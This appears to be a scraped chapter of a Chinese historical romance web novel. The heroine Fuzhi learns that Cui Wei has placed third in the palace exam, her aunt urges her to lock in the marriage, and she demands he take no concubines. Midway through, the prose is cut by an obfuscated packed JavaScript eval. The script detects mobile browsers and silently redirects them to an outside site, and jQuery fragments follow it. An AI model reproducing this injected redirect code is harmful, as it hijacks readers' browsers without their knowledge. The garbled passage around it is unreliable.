随后几日，似乎不必福芝强抑心神，宋大夫也一直未归。
他独自在那里住着，偶尔派遣药童回来拿些衣物药材。福芝拦下问上几句，得到的回话总说无事发生。
宋大夫的医术在她之上，福芝本该毫无保留地相信他的话，却不知为何，心中总觉此事蹊跷。
或许那日崔巍所说姜政的阴谋，已然在她心里扎了根……
福芝倒不是担忧宋大夫同流合污，而是担心他会因顾忌自己，反而隐瞒一些实情。
总叫她心里七上八下。
这日，福芝独自一人守在杏林春中，却听见吹吹打打的唢呐声由远至近。
她搁下手中拭柜的抹布抬眼望去，只见一个身着绛红短衫的半大小子正朝铺门奔来，身后缀着一班锣鼓喧阗的小乐手，更有许多瞧热闹的行人簇拥而来。
福芝在这上头吃过亏，当下面色便冷了几分。那小子却浑不在意，一路猛冲至她面前站定，喘着粗气，将手里一卷红帖高高扬起，扯开嗓子嚷道：
“崔家崔巍——”
“中大庆六年殿试第三名！探花及第——”
“报喜送到！”
那小子绕着福芝喜不自胜地打转。四周贺喜声、恭维声纷纷扬扬，震耳的唢呐更是声声催人。福芝僵立当场，脑中嗡嗡作响。
福芝：“什么？”
那报喜小子送喜多年，深谙此道，见惯了形色，立时瞧出她是惊喜太过、懵了神。
按道理，传喜应当交由本人手中，可他们这些跑腿的，只图快一步得赏，哪肯落后？
贡士老爷们早就派了人守着皇榜呢，这消息是不可能遗漏的。
是以，小子见福芝这般情状也不以为怪，又将方才的喜讯朗声复述了一遍。
福芝满脑袋金星。
不是惊的，是懵的。
她不知晓贡士、举人尚且合理，但这状元、榜眼，探花郎的话本故事，她是真的没少听啊！
崔巍……
她想起那日所见，崔巍眉眼含春、微带醺意的模样。
是自己忘记问他了啊！！！
接下来该怎么办？——对、对，先报喜。
话本上讲得多了，这样的事情，一定要给传喜的小伙银钱，福芝当下也不再吝啬，喊了一声等着，转头就回了小院去掏自己的银子。
回来时，手里揣着沉甸甸的一袋。
她径直将袋子塞过去：“拿去，拿去，小哥一路辛劳，这点心意，权当是请诸位喝茶了！”
小子自不推辞，利落地解开袋口。里头是码得齐整的铜钱，更衬着几块成色尚好的碎银。
虽然不是大笔金银，却也相当厚重，不枉他一番争抢。
小子喜得眉眼飞动，急急地招呼乐班鼓足劲儿吹打，那喧闹声愈发欢腾。
福芝仍站在门前，恍如做梦一般。
却在这时，人声鼎沸中，一个熟悉的呼唤穿透了喧嚣的人群：
“笨丫！”
……会这样唤她的，除却杏花村里的小娘，还能有谁？
福芝抬眼一看，却见小娘的脸出现在人群之中，身后还跟着林楠与抱着胖丫的姜荷。
福芝心头一热，忙拨开人群迎了上去：“小娘！你们怎么来了？”
王金花身后还背着竹编的背篓，上下打量福芝，见没有瘦弱太多，便知晓这孩子没吃太多苦，稍微放心两分，这才扯开嗓门嚷道：
“你这笨丫，这么大事情怎么不告诉家里！”
福芝越发糊涂：“什么事啊？”
姜荷却打量了周围一群人，见大家伸着耳朵，等着听这新出炉探花的家事儿，当下咳嗽一声：
“金花姐，福芝，走了一路胖丫都渴了，先进屋去说吧。”
王金花这才回过神，忙道：“对对，胖丫可没走过这么远的路，进去吧。”
福芝哪还有不答应，当下关了杏林春的门，将一行人带回了自己的小院。
那小子得了银钱喜不自胜，自然也不再纠缠，带着一群人又散了去。
*
小院中。
福芝给几人都倒了水，这才放下手中的陶壶，坐在椅子上。
“小娘，你们怎么来了？”
王金花卸下肩上沉重的背篓，一脸恨铁不成钢地从中取出带来的山货土产。
“笨丫，说你笨，你真是不聪明！”
“姜家算什么东西，说欺辱你就欺辱你？”
“你那一膀子力气是白长的？倒是给他一大耳刮子啊！哎呀，气得老娘我……”
姜荷见王金花气冲上头，料她一时难平，便将怀中咿咿呀呀的胖丫递过去，柔声解围道：
“金花姐，胖丫似乎饿了。要不要给孩子先吃点？”
福芝忙指引：“小娘，那边是我的屋子，要不要去给胖丫喂奶？”
王金花用鼻子重重“哼”了一声，瞅着胖丫那张懵懂的小脸，到底是心软了：
“那行，荷妹子你好好跟这丫头说，真是，竟半点没随我的机灵劲儿，我先去给胖丫喂奶。”
她利索地抱着孩子去了屋里。
福芝这才道：“姨母……”
姜荷话风自不同王金花那般粗砺，她端起身前瓷碗喝了口水，才慢悠悠道：
“是崔公子安排了车马来接我们的。”
“他寄信回家，说你与姜家人有些龃龉，因你母亲的事神伤郁结，请我们上京来陪你说说话，宽慰些时日”
福芝怔住，崔巍他……竟然想得这么仔细吗？
姜荷见她怔忡，心下也了然。
崔府门风，施恩向来润物无声，既要人感念于心，又不显挟恩图报之态。
想来这已成了崔巍行事的本能，不经意间便选了这最熨帖的法子抚慰福芝。
姜荷倒是极认可的。
在她看来，一个男子能为女子如此费心设想，便是难得的情意。
她搁下茶碗，神色添了几分郑重：“说起你母亲……当年的情形，我或许是最知情的了。”
“一直未对你提起，也是你娘的遗愿。前尘旧怨，不愿再连累下一辈沾染……”
“福芝，你不必多想，当然是她最心尖上的骨肉。嫁与你爹林山，亦是她心甘情愿。你娘她……天生一副不肯屈就的烈性子，若非如此，也不至于走到那般绝处……”
言语间亦不避讳自身，即便如姜荷这般嫁于高门第为妾，尽管心不自由，但好在银钱仆人一概俱全，怎么也比嫁作村野匹妇好了许多。
福芝不语，只有心中的情绪翻涌。她知道得越多，却更加心疼她娘。
姜荷却并不给她留下难过的机会，她放下手中空空的茶杯，朝林楠轻声道：
“楠哥儿，劳烦你帮我再烧壶水冲茶可好？”
……壶里有水，福芝家没有茶。
林楠还是听出里头的劝离之意，当下点头，也不再碍事儿，两步走出了堂屋。
姜荷这才定定地看着福芝：
“姑娘……姨母是当你是亲骨肉，才肯剖出心肝来说这些交底的话。”
“崔巍……你必须得牢牢抓在手上！”
福芝看着姜荷严肃的神情，在国公府中多年的城府与谋算，似乎在此刻施展得淋漓致尽。
虽然不是上的台面的本事，但也是她在后宅中搏命得来的经验。
姜荷并不在乎福芝的震惊，只是继续道：
“姑娘或许有所不知，探花郎这一位置，便是一甲，往大了，喊一声天子门生也不为过。”
“一甲及第，朝廷立授实职官身，不必再去翰林院中冷板凳熬几十年，出门便是一步登天。”
“崔巍如今才十八岁，已是官身，并非袭爵，全靠才学，可想而知，未来的前景有多么惊人。”
姜荷的话，在福芝耳朵里便是左耳朵进右耳朵出。
不是她不想听，是这事情太繁杂，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268610|182200||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
搅得她心乱如麻，脑中一片昏茫。
明明前几日还是与自己喝酒，安慰自己到半夜，被自己吐了一身的崔巍，怎么转眼，就成了众人口中高不可攀的官老爷了呢……
姜荷却不管那么多，继续道：
“他此后的官途，别说是旁人送女人送爱物，就算是送钱送银子，也是我们这些人伸着手都接不过来的。”
“福芝，这其中的利害关窍，你心中可有计较？”
福芝闷闷地点头，话本里说过无数，寒门公子考上状元，立刻便抛弃寒窑旧妻，成了乘龙快婿。
“我知道。”
姜荷见她还算识得轻重，稍感宽心：
“你若知晓，那便还有救。”
“眼下最怕你高估了自己在他心头的份量，将昔日贫贱相交的那点情分当了筹码，一次次逼他退让，迫他就范！那才是真正消磨情意、离心离德的愚行！”
姜荷也知道，这些话对还出阁的姑娘来说，有些太重了，但她多年摔打出的血泪教训，只想在此刻一股脑的灌输给福芝，只盼着她不要再像自己，落个不堪收场。
“当下最最紧要之事，便是让崔巍在京中授职之前，与你定下婚事，行过大礼！占住这正室元配的名分！
你占着正头娘子的位置，哪怕今后他有再多妾室，你也是绝不可动的一份。”
“福芝，姨母的这番谋划，你可真正懂得了？！”
姜荷眸光如炬，紧盯着她。
福芝不知该如何回答姜荷，只是点了点头，或许这番话留给她，也需要一段时间去消化。
正在此时，外头响起一声马匹的响鼻声，滚动的车辕随之停在门口。
福芝心下一惊，是崔巍回来了。
姜荷显然也意识到这点，忙站起身，出门揪出站在窗边偷听的林楠，两人快步进了王金花所在的房间——过去一刻多钟，王金花早该喂完奶了。
离开前，姜荷还朝着福芝挤了挤眼，似乎鼓励她去找崔巍要回所谓的“名分”。
福芝局促不安地站起来，立在桌边，听着动静等他走近。
院子外头传来竹影问候的声音，接着是车帘被刷拉掀开的响动，崔巍轻巧地跳下车，脚步声由远及近，踏过院子的青砖地，一步，两步……不疾不徐。
福芝抬眼。
崔巍身着一袭新裁的绛紫贡缎圆领袍，玉簪束发，身姿颀长挺拔。他缓步而来，几乎遮去了福芝身上的所有光晕。
福芝静默地站着，却见崔巍的眉头，在她抬眼望过来时，似乎微微蹙了一下。
“怎么不说话？”崔巍的声音从头顶落下来，带着笑意，“莫不是被我这一身吓着了？”
福芝猛地抬头，正撞进他含笑的眼里。
那双眼还是清亮的，眼尾微微上挑，和记忆中分毫不差。她忽然就安了心，那股子横冲直撞的劲儿又回来了。
就在这短暂的静默里，福芝硬邦邦地开口：“你如今是探花郎了。”
崔巍点头：“承蒙圣恩。”
“往后要做官的。”
“大抵如此。”
“会有很多人给你送银子，送女人。”
崔巍略微瞪大眼睛，似是没想到福芝会这么说，慌张辩驳：
“福芝……并非……”
福芝伸手打断他的话：“你听我说完。”
她知道姨母说的是对的，也知晓什么名分权势的重要性，但福芝不愿如此。
若是他要有别的人，那一开始，这正头娘子，福芝也没兴趣占着。
福芝深吸一口气，迎着他的目光，清晰又带着几分执拗地开口，音量不大，却掷地有声：
“崔巍，我眼里容不得沙子。”
“你若与我成婚，今生今世，也绝对别想要再与旁人有什么郎情妾意了……”
“要是敢负我，即便拼着收监坐牢，我也要亲手打断你的腿！”
“你可知道？”